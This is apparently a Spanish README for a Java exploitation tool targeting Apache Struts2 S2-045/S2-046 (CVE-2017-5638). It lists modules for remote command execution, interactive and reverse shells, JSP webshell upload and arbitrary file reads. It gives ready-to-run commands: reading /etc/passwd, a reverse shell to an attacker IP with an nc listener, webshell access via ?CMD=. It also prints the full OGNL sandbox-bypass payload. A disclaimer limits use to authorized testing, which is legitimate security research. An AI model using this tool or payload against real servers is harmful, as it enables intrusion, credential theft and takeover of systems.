
Struts2 S2-045/S2-046 CVE-2017-5638 herramienta de detección y explotación
Una herramienta de detección y explotación de vulnerabilidades Struts2 S2-045 / S2-046 (CVE-2017-5638) implementada puramente en Java. El módulo de detección cubre las dos vulnerabilidades S2-045 / S2-046, el módulo de explotación proporciona ejecución de comandos, gestión de archivos, obtención de información, shell interactiva, shell inversa, carga de Webshell, etc.
Aviso legal: Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas, investigación de vulnerabilidades y fines educativos. Está estrictamente prohibido su uso para fines ilegales no autorizados; el usuario asume toda la responsabilidad legal.
| Módulo | Subcomando | Descripción |
|---|
| Detección de vulnerabilidades | scan | Detecta S2-045 / S2-046 (verificación matemática + marcado de huella UUID) |
| Escaneo por lotes | batch | Detecta múltiples objetivos por lotes, genera resumen e informe JSON |
| Ejecución de comandos | exec | Ejecución de comandos arbitrarios del sistema + salida (adaptación automática Win/Linux) |
| Shell interactiva | shell | Interacción continua, persistencia de directorio cd, comandos integrados pwd/webroot/os |
| Subida de archivos | upload | Escritura directa OGNL (archivos pequeños) / escritura por comandos segmentados (archivos grandes) |
| Descarga de archivos | download | Descarga codificada en Base64 (segura para binarios) |
| Directorio raíz web | getpath | Obtiene la ruta de despliegue físico de la aplicación web |
| Información del sistema | sysinfo | Información de SO / usuario / kernel / directorio de trabajo |
| Shell inversa | revshell | Shell inversa bash / PowerShell con un solo comando |
| Subida de Webshell | webshell | Genera y sube JSP Webshell (estilo ?CMD= en texto plano) |
| Exportación de informes | scan -r | Informes JSON / HTML |
La función de descarga puede leer archivos arbitrarios del servidor (como
/etc/shadow); úsela únicamente en pruebas autorizadas.
:: Ejecutar en el directorio del proyecto
.\build.bat
En PowerShell se requiere el prefijo
.\; en cmd se puede ejecutar directamentebuild.bat. build.bat solo se encarga de la compilación y no realiza ninguna solicitud de red ni escaneo. Después de la compilación, la ventana permanece abierta y entra en la sesión de cmd (puede ejecutar comandos de la herramienta directamente; escribaexitpara cerrar). Si su entorno no puede escribir en el repositorio predeterminado de Maven, primero puede configurar la variable de entornoM2_REPOpara que apunte a un directorio con permisos de escritura.
Artefacto: target\s2tool.jar (fat-jar).
Para Linux/Mac consulte
build.sh
# 1. Detección de vulnerabilidades
java -jar s2tool.jar scan http://target/action
# 2. Detección + exportación de informe JSON/HTML
java -jar s2tool.jar scan http://target/action -r both
# 3. Ejecución de comandos
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"
# 4. Shell interactiva
java -jar s2tool.jar shell http://target/action
# 5. Obtener directorio raíz web / información del sistema
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action
# 6. Subir / descargar archivos
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt
# 7. Subir Webshell con un solo comando (estilo ?CMD= en texto plano)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# Acceso: http://target/shell.jsp?CMD=whoami
# 8. Shell inversa (primero escuche en la máquina atacante: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444
# 9. Escaneo por lotes
java -jar s2tool.jar batch targets.txt -r json
# Las líneas de comentario comienzan con # (se ignoran automáticamente)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action
Rango de versiones del anuncio oficial (ambas vulnerabilidades se basan en los anuncios oficiales de Apache, para que el usuario evalúe si el objetivo está afectado):
| Vulnerabilidad | CVE | Versiones afectadas (versiones vulnerables) | Versiones corregidas (versiones parcheadas) |
|---|---|---|---|
| S2-045 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.10 | 2.3.32 o 2.5.10.1 y superiores |
| S2-046 | CVE-2017-5638 | Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.10 | 2.3.32 o 2.5.10.1 y superiores |
Esta herramienta no depende del juicio de versiones; determina directamente si la vulnerabilidad existe mediante los resultados de la detección con Payload, porque la identificación de versiones no es fiable (muchos sitios ocultan el número de versión). La tabla anterior es solo para su referencia en la evaluación manual; no afecta la lógica de detección de la herramienta.
Para S2-046, la herramienta admite tanto la inyección de byte nulo en filename como la ruta de detección de Content-Type con la misma causa raíz.
Principio de la vulnerabilidad:
Content-Type; S2-046: filename de Content-Disposition) en el mensaje de excepción,
y el mensaje de excepción se somete a evaluación OGNL a través del proceso de procesamiento de texto internacionalizado de Struts2 (TextParseUtil.translateVariables)(#nike='multipart/form-data') // Disfrazar Content-Type, pasar la verificación contains
(#[email protected]@DEFAULT_MEMBER_ACCESS) // Obtener MemberAccess de máximo privilegio
(#_memberAccess?(#_memberAccess=#dm): // Versión baja: reemplazo directo
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
(#ognlUtil.getExcludedPackageNames().clear()) // Limpiar lista negra de nombres de paquetes
(#ognlUtil.getExcludedClasses().clear()) // Limpiar lista negra de clases
(#context.setMemberAccess(#dm)))) // Versión alta: reemplazo después de limpiar listas negras
Probado: En Struts2 2.3.30, la versión simplificada (solo
setMemberAccess) no puede evadir el sandbox; se debe usar la versión completa (que incluye la ruta de limpieza de listas negras de OgnlUtil).
| Técnica | Principio | Descripción |
|---|---|---|
| Verificación matemática | OGNL ejecuta 88888888-23333+1222, si la respuesta contiene 88866777 existe | Fórmula POC pública |
| Marcado de huella UUID | Inyecta un UUID aleatorio y lo muestra en el cuerpo de la respuesta | Alta precisión, no afectado por la latencia de red |
| Detección por retardo | Diferencia de tiempo Thread.sleep(6000) (solo S2-045 como respaldo sin salida) | Umbral >3.6s |
Regla de determinación: si la verificación matemática o el marcado de huella aciertan → confirmado existente; solo acierta el retardo → posiblemente existente; ninguno acierta → no existente.
struts2-vuln-tool/
├── pom.xml # Compilación Maven (empaquetado shade fat-jar)
├── build.bat / build.sh # Scripts de compilación (Windows verificado / Linux referencia)
├── src/main/java/com/s2tool/
│ ├── Launcher.java # Entrada principal (CLI Picocli)
│ ├── core/ # Motor central: cliente HTTP / construcción de Payload / análisis de respuestas / análisis de objetivos
│ ├── plugins/ # Arquitectura de plugins de vulnerabilidades (puntos de extensión)
│ │ └── impl/ # Plugins de detección S2_045 / S2_046
│ ├── modules/ # Módulos funcionales: programación de detección / identificación de huellas / ejecución de comandos / gestión de archivos / Shell, etc.
│ ├── report/ # Generación de informes (consola / JSON / HTML)
│ └── utils/ # Herramientas de registro
├── src/main/resources/ # Configuración de registro / referencia de Payload
└── src/test/ # Pruebas unitarias JUnit
Artículos sobre el principio de la vulnerabilidad:
Proyectos de código abierto de referencia (este proyecto consultó las ideas y Payloads de los siguientes repositorios durante su desarrollo):
Solo para pruebas de seguridad autorizadas e investigación de aprendizaje.
Está estrictamente prohibido su uso para fines ilegales no autorizados; el usuario asume toda la responsabilidad legal.